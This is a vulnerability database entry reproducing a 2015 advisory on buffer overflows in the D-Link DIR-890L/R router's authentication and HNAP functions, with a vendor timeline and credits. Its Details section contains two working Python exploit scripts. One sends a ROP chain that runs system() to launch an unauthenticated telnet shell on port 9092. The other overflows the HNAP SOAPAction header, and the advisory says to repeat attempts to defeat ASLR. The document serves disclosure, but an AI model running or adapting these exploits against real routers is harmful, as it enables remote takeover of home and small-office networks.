ID

VAR-201507-0645

TITLE

Multiple D-Link Product UPnP Buffer Overflow Vulnerabilities

DESCRIPTION

D-Link is an internationally renowned provider of network equipment and solutions, including a variety of router equipment. D-Link is a D-Link company dedicated to the research, development, production and marketing of local area networks, broadband networks, wireless networks, voice networks and related network equipment. A buffer overflow vulnerability exists in D-Link due to the program not performing correct boundary checks on user-submitted input. An attacker could use this vulnerability to execute arbitrary code in the context of an affected device and may also cause a denial of service. The following products are affected: D-Link Ethernet Broadband Router. ## Advisory Information Title: DIR-890L/R Buffer overflows in authentication and HNAP functionalities. Date published: July,17th, 2015 Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink) CVE: None Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061 However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. ## Product Description DIR-890L/R -- AC3200 Ultra Wi-Fi Router. Mainly used by home and small offices. ## Vulnerabilities Summary Have come across 2 security issues in DIR-880 firmware which allows an attacker to exploit buffer overflows in authentication and HNAP functionalities. first 2 of the buffer overflows in auth and HNAP can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. Also this exploit needs to be run atleast 200-500 times to bypass ASLR on ARM based devices. ## Details Buffer overflow in auth ---------------------------------------------------------------------------------------------------------------------- import socket import struct buf = "GET /webfa_authentication.cgi?id=" buf+="A"*408 buf+="\x44\x77\xf9\x76" # Retn pointer (ROP1) which loads r0-r6 and pc with values from stack buf+="sh;#"+"CCCC"+"DDDD" #R0-R2 buf+="\x70\x82\xFD\x76"+"FFFF"+"GGGG" #R3 with system address and R4 and R5 with junk values buf+="HHHH"+"\xF8\xD0\xF9\x76" # R6 with crap and PC address loaded with ROP 2 address buf+="telnetd%20-p%209092;#" #actual payload which starts telnetd buf+="C"+"D"*25+"E"*25 + "A"*80 # 131 bytes of extra payload left buf+="&password=A HTTP/1.1\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.90", 80)) s.send(buf) ---------------------------------------------------------------------------------------------------------------------- Buffer overflow in HNAP ---------------------------------------------------------------------------------------------------------------------- import socket import struct #Currently the address of exit function in libraray used as $PC buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + "\x10\xd0\xff\x76"+"B"*220 buf+= "\r\n" + "1\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.90", 80)) s.send(buf) ---------------------------------------------------------------------------------------------------------------------- ## Report Timeline * April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline. * July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor * Nov 13, 2015: A public advisory is sent to security mailing lists. ## Credit This vulnerability was found by Samuel Huntley (samhuntley84@gmail.com)

IOT TAXONOMY

AFFECTED PRODUCTS

CVSS

THREAT TYPE

remote

TYPE

buffer overflow

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

Samuel Huntley

SOURCES

LAST UPDATE DATE

2025-01-29T23:26:52.615000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE